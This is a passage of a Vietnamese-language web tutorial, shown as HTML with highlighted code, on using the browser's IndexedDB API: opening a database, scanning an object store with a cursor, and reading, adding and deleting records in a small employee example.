<span class="token operator">||</span> window<span class="token punctuation">.</span>msIndexedDB<span class="token punctuation">;</span> <span class="token comment">/** * prefixes of window.IDB objects * IDBTransaction interface of the IndexedDB API provides a static, * asynchronous transaction on a database using event handler attributes. */</span> window<span class="token punctuation">.</span>IDBTransaction <span class="token operator">=</span> window<span class="token punctuation">.</span>IDBTransaction <span class="token operator">||</span> window<span class="token punctuation">.</span>webkitIDBTransaction <span class="token operator">||</span> window<span class="token punctuation">.</span>msIDBTransaction<span class="token punctuation">;</span> window<span class="token punctuation">.</span>IDBKeyRange <span class="token operator">=</span> window<span class="token punctuation">.</span>IDBKeyRange <span class="token operator">||</span> window<span class="token punctuation">.</span>webkitIDBKeyRange <span class="token operator">||</span> window<span class="token punctuation">.</span>msIDBKeyRange<span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>window<span class="token punctuation">.</span>indexedDB<span class="token punctuation">)</span> <span class="token punctuation">{</span> window<span class="token punctuation">.</span><span class="token function">alert</span><span class="token punctuation">(</span><span class="token string">"Your browser doesn't support a stable version of IndexedDB."</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <h3 id="open-database" style="position:relative;"><a href="#open-database" aria-label="open database permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Open database</h3> <p>IndexedDB cung cấp 2 APIs để open database như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">var</span> IDBOpenDBRequest <span class="token operator">=</span> indexedDB<span class="token punctuation">.</span><span class="token function">open</span><span class="token punctuation">(</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">var</span> IDBOpenDBRequest <span class="token operator">=</span> indexedDB<span class="token punctuation">.</span><span class="token function">open</span><span class="token punctuation">(</span>name<span class="token punctuation">,</span> version<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Sau đó, implement 3 hàm <strong>onsuccess</strong>, <strong>onerror</strong> và <strong>onupgradeneeded</strong> của IDBOpenDBRequest để lắng nghe các sự kiện tương ứng là <strong>success</strong> (mở database thành công), <strong>error</strong> (mở database bị lỗi), <strong>upgradeneeded</strong> (mở database thành công nhưng cần phải cập nhật lại với version mới nhất hiện tại).</p> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Implement in SimpleSindexedDB.js</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function-variable function">open</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span> <span class="token parameter">onsuccess<span class="token punctuation">,</span> onerror<span class="token punctuation">,</span> onupgradeneeded<span class="token punctuation">,</span> objName<span class="token punctuation">,</span> keyPath<span class="token punctuation">,</span> objData</span> <span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>objName <span class="token operator">=</span> objName<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>request <span class="token operator">=</span> window<span class="token punctuation">.</span>indexedDB<span class="token punctuation">.</span><span class="token function">open</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>dbName<span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>dbVersionNumber<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">var</span> self <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>request<span class="token punctuation">.</span><span class="token function-variable function">onerror</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">event</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">onerror</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>request<span class="token punctuation">.</span><span class="token function-variable function">onsuccess</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">event</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// here: this = request</span> self<span class="token punctuation">.</span>db <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>result<span class="token punctuation">;</span> <span class="token function">onsuccess</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>request<span class="token punctuation">.</span><span class="token function-variable function">onupgradeneeded</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">event</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> db <span class="token operator">=</span> event<span class="token punctuation">.</span>target<span class="token punctuation">.</span>result<span class="token punctuation">;</span> <span class="token keyword">var</span> objectStore <span class="token operator">=</span> db<span class="token punctuation">.</span><span class="token function">createObjectStore</span><span class="token punctuation">(</span>objName<span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">keyPath</span><span class="token operator">:</span> keyPath <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>objData <span class="token operator">!=</span> <span class="token keyword">undefined</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">var</span> i <span class="token keyword">in</span> objData<span class="token punctuation">)</span> <span class="token punctuation">{</span> objectStore<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span>objData<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token function">onupgradeneeded</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// Implement in main.js</span> <span class="token keyword">const</span> <span class="token constant">INDEXED_DB_NAME</span> <span class="token operator">=</span> <span class="token string">"employee_db"</span><span class="token punctuation">;</span> <span class="token keyword">var</span> firstname<span class="token punctuation">,</span> email<span class="token punctuation">,</span> id<span class="token punctuation">;</span> <span class="token keyword">var</span> simpleIndexedDb<span class="token punctuation">;</span> <span class="token keyword">var</span> objData <span class="token operator">=</span> <span class="token punctuation">[</span> <span class="token punctuation">{</span> <span class="token literal-property property">id</span><span class="token operator">:</span> <span class="token string">"1"</span><span class="token punctuation">,</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"lam"</span><span class="token punctuation">,</span> <span class="token literal-property property">email</span><span class="token operator">:</span> <span class="token string">"[email protected]"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">id</span><span class="token operator">:</span> <span class="token string">"2"</span><span class="token punctuation">,</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"phong"</span><span class="token punctuation">,</span> <span class="token literal-property property">email</span><span class="token operator">:</span> <span class="token string">"[email protected]"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">var</span> objName <span class="token operator">=</span> <span class="token string">"employee"</span><span class="token punctuation">;</span> <span class="token keyword">var</span> keyPath <span class="token operator">=</span> <span class="token string">"id"</span><span class="token punctuation">;</span> <span class="token keyword">function</span> <span class="token function">init</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> firstname <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">'[name="firstname"]'</span><span class="token punctuation">)</span><span class="token punctuation">;</span> email <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">'[name="email"]'</span><span class="token punctuation">)</span><span class="token punctuation">;</span> id <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">'[name="id"]'</span><span class="token punctuation">)</span><span class="token punctuation">;</span> simpleIndexedDb <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">SimpleIndexedDB</span><span class="token punctuation">(</span><span class="token constant">INDEXED_DB_NAME</span><span class="token punctuation">)</span><span class="token punctuation">;</span> simpleIndexedDb<span class="token punctuation">.</span><span class="token function">open</span><span class="token punctuation">(</span> openDBSuccess<span class="token punctuation">,</span> openDBError<span class="token punctuation">,</span> openDBUpgradeNeeded<span class="token punctuation">,</span> objName<span class="token punctuation">,</span> keyPath<span class="token punctuation">,</span> objData <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">function</span> <span class="token function">openDBSuccess</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"open db success"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">function</span> <span class="token function">openDBError</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"open db error"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">function</span> <span class="token function">openDBUpgradeNeeded</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"open db upgradedneeded"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <h3 id="quét-toàn-bộ-dữ-liệu-một-object-store-trong-database" style="position:relative;"><a href="#qu%C3%A9t-to%C3%A0n-b%E1%BB%99-d%E1%BB%AF-li%E1%BB%87u-m%E1%BB%99t-object-store-trong-database" aria-label="quét toàn bộ dữ liệu một object store trong database permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Quét toàn bộ dữ liệu một object store trong database</h3> <p>Để quét toàn bộ dữ liệu trong một object store, sử dụng <strong><a href="https://developer.mozilla.org/en-US/docs/Web/API/IDBCursor">cursor</a></strong>.</p> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Implement in SimpleSindexedDB.js</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function-variable function">readAll</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">callback</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> objectStore <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>db<span class="token punctuation">.</span><span class="token function">transaction</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>objName<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">objectStore</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>objName<span class="token punctuation">)</span><span class="token punctuation">;</span> objectStore<span class="token punctuation">.</span><span class="token function">openCursor</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function-variable function">onsuccess</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">event</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> cursor <span class="token operator">=</span> event<span class="token punctuation">.</span>target<span class="token punctuation">.</span>result<span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>cursor<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">callback</span><span class="token punctuation">(</span>cursor<span class="token punctuation">)</span><span class="token punctuation">;</span> cursor<span class="token punctuation">.</span><span class="token function">continue</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"No more entries!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// Implement in main.js</span> <span class="token keyword">function</span> <span class="token function">showAll</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> simpleIndexedDb<span class="token punctuation">.</span><span class="token function">readAll</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">cursor</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>cursor<span class="token punctuation">.</span>key<span class="token punctuation">,</span> cursor<span class="token punctuation">.</span>value<span class="token punctuation">.</span>name<span class="token punctuation">,</span> cursor<span class="token punctuation">.</span>value<span class="token punctuation">.</span>email<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <h3 id="lấy-ra-một-bản-ghi-dựa-vào-key-trong-javascript-indexeddb" style="position:relative;"><a href="#l%E1%BA%A5y-ra-m%E1%BB%99t-b%E1%BA%A3n-ghi-d%E1%BB%B1a-v%C3%A0o-key-trong-javascript-indexeddb" aria-label="lấy ra một bản ghi dựa vào key trong javascript indexeddb permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lấy ra một bản ghi dựa vào key trong JavaScript IndexedDB</h3> <p>Để lấy ra một bản ghi trong object store của database, sử dụng phương thức <strong><a href="https://developer.mozilla.org/en-US/docs/Web/API/IDBObjectStore/get">get</a></strong>.</p> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Implement in SimpleSindexedDB.js</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function-variable function">read</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">id</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> transaction <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>db<span class="token punctuation">.</span><span class="token function">transaction</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token keyword">this</span><span class="token punctuation">.</span>objName<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">var</span> objectStore <span class="token operator">=</span> transaction<span class="token punctuation">.</span><span class="token function">objectStore</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>objName<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">var</span> keySearch <span class="token operator">=</span> <span class="token string">""</span> <span class="token operator">+</span> id<span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> request <span class="token operator">=</span> objectStore<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span>id<span class="token punctuation">)</span><span class="token punctuation">;</span> request<span class="token punctuation">.</span><span class="token function-variable function">onerror</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">event</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">reject</span><span class="token punctuation">(</span>event<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> request<span class="token punctuation">.</span><span class="token function-variable function">onsuccess</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">event</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">resolve</span><span class="token punctuation">(</span>request<span class="token punctuation">.</span>result<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// Implement in main.js</span> <span class="token keyword">function</span> <span class="token function">read</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> simpleIndexedDb<span class="token punctuation">.</span><span class="token function">read</span><span class="token punctuation">(</span><span class="token function">getId</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span> <span class="token punctuation">(</span><span class="token parameter">result</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"read success"</span><span class="token punctuation">,</span> result<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">event</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"read error"</span><span class="token punctuation">,</span> event<span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <h3 id="thêm-một-bản-ghi-vào-object-store-database" style="position:relative;"><a href="#th%C3%AAm-m%E1%BB%99t-b%E1%BA%A3n-ghi-v%C3%A0o-object-store-database" aria-label="thêm một bản ghi vào object store database permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thêm một bản ghi vào object store database</h3> <p>Để thêm vào một bản ghi cho object store của database, sử dụng phương thức <strong><a href="https://developer.mozilla.org/en-US/docs/Web/API/IDBObjectStore/add">add</a></strong>.</p> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Implement in SimpleSindexedDB.js</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function-variable function">add</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">objData</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> transaction <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>db<span class="token punctuation">.</span><span class="token function">transaction</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token keyword">this</span><span class="token punctuation">.</span>objName<span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token string">"readwrite"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">var</span> objectStore <span class="token operator">=</span> transaction<span class="token punctuation">.</span><span class="token function">objectStore</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>objName<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> request <span class="token operator">=</span> objectStore<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span>objData<span class="token punctuation">)</span><span class="token punctuation">;</span> request<span class="token punctuation">.</span><span class="token function-variable function">onsuccess</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">event</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">resolve</span><span class="token punctuation">(</span>event<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> request<span class="token punctuation">.</span><span class="token function-variable function">onerror</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">event</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">reject</span><span class="token punctuation">(</span>event<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// Implement in main.js</span> <span class="token keyword">function</span> <span class="token function">save</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> data <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">id</span><span class="token operator">:</span> <span class="token function">getId</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token function">getName</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token literal-property property">email</span><span class="token operator">:</span> <span class="token function">getEmail</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"save"</span><span class="token punctuation">,</span> data<span class="token punctuation">)</span><span class="token punctuation">;</span> simpleIndexedDb<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span> <span class="token punctuation">(</span><span class="token parameter">event</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"add success"</span><span class="token punctuation">,</span> event<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">error</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"add error"</span><span class="token punctuation">,</span> error<span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <h3 id="xoá-đi-một-bản-ghi-trong-object-store-database-dựa-vào-key" style="position:relative;"><a href="#xo%C3%A1-%C4%91i-m%E1%BB%99t-b%E1%BA%A3n-ghi-trong-object-store-database-d%E1%BB%B1a-v%C3%A0o-key" aria-label="xoá đi một bản ghi trong object store database dựa vào key permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoá đi một bản ghi trong object store database dựa vào key</h3> <p>Để xoá đi một bản ghi tỏng object store database, sử dụng phương thức <strong><a href="https://developer.mozilla.org/en-US/docs/Web/API/IDBObjectStore/delete">delete</a></strong>.</p> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Implement in SimpleSindexedDB.js</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function-variable function">remove</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">id</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> transaction <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>db<span class="token punctuation">.</span><span class="token function">transaction</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token keyword">this</span><span class="token punctuation">.</span>objName<span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token string">"readwrite"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">var</span> objectStore <span class="token operator">=</span> transaction<span class="token punctuation">.</span><span class="token function">objectStore</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>objName<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">var</span> keySearch <span class="token operator">=</span> <span class="token string">""</span> <span class="token operator">+</span> id<span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> request <span class="token operator">=</span> objectStore<span class="token punctuation">.</span><span class="token function">delete</span><span class="token punctuation">(</span>id<span class="token punctuation">)</span><span class="token punctuation">;</span> request<span class="token punctuation">.</span><span class="token function-variable function">onerror</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">event</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">reject</span><span class="token punctuation">(</span>event<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> request<span class="token punctuation">.</span><span class="token function-variable function">onsuccess</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">event</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">resolve</span><span class="token punctuation">(</span>event<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// Implement in main.js</span> <span class="token keyword">function</span> <span class="token function">remove</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> simpleIndexedDb<span class="token punctuation">.</span><span class="token function">remove</span><span class="token punctuation">(</span><span class="token function">getId</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span> <span class="token punctuation">(</span><span class="token parameter">event</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"remove success"</span><span class="token punctuation">,</span> event<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">event</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"remove error"</span><span class="token punctuation">,</span> event<span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <h2 